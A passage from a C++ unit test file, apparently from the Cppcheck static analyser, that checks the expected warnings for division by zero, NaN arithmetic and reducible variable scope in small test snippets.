0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", 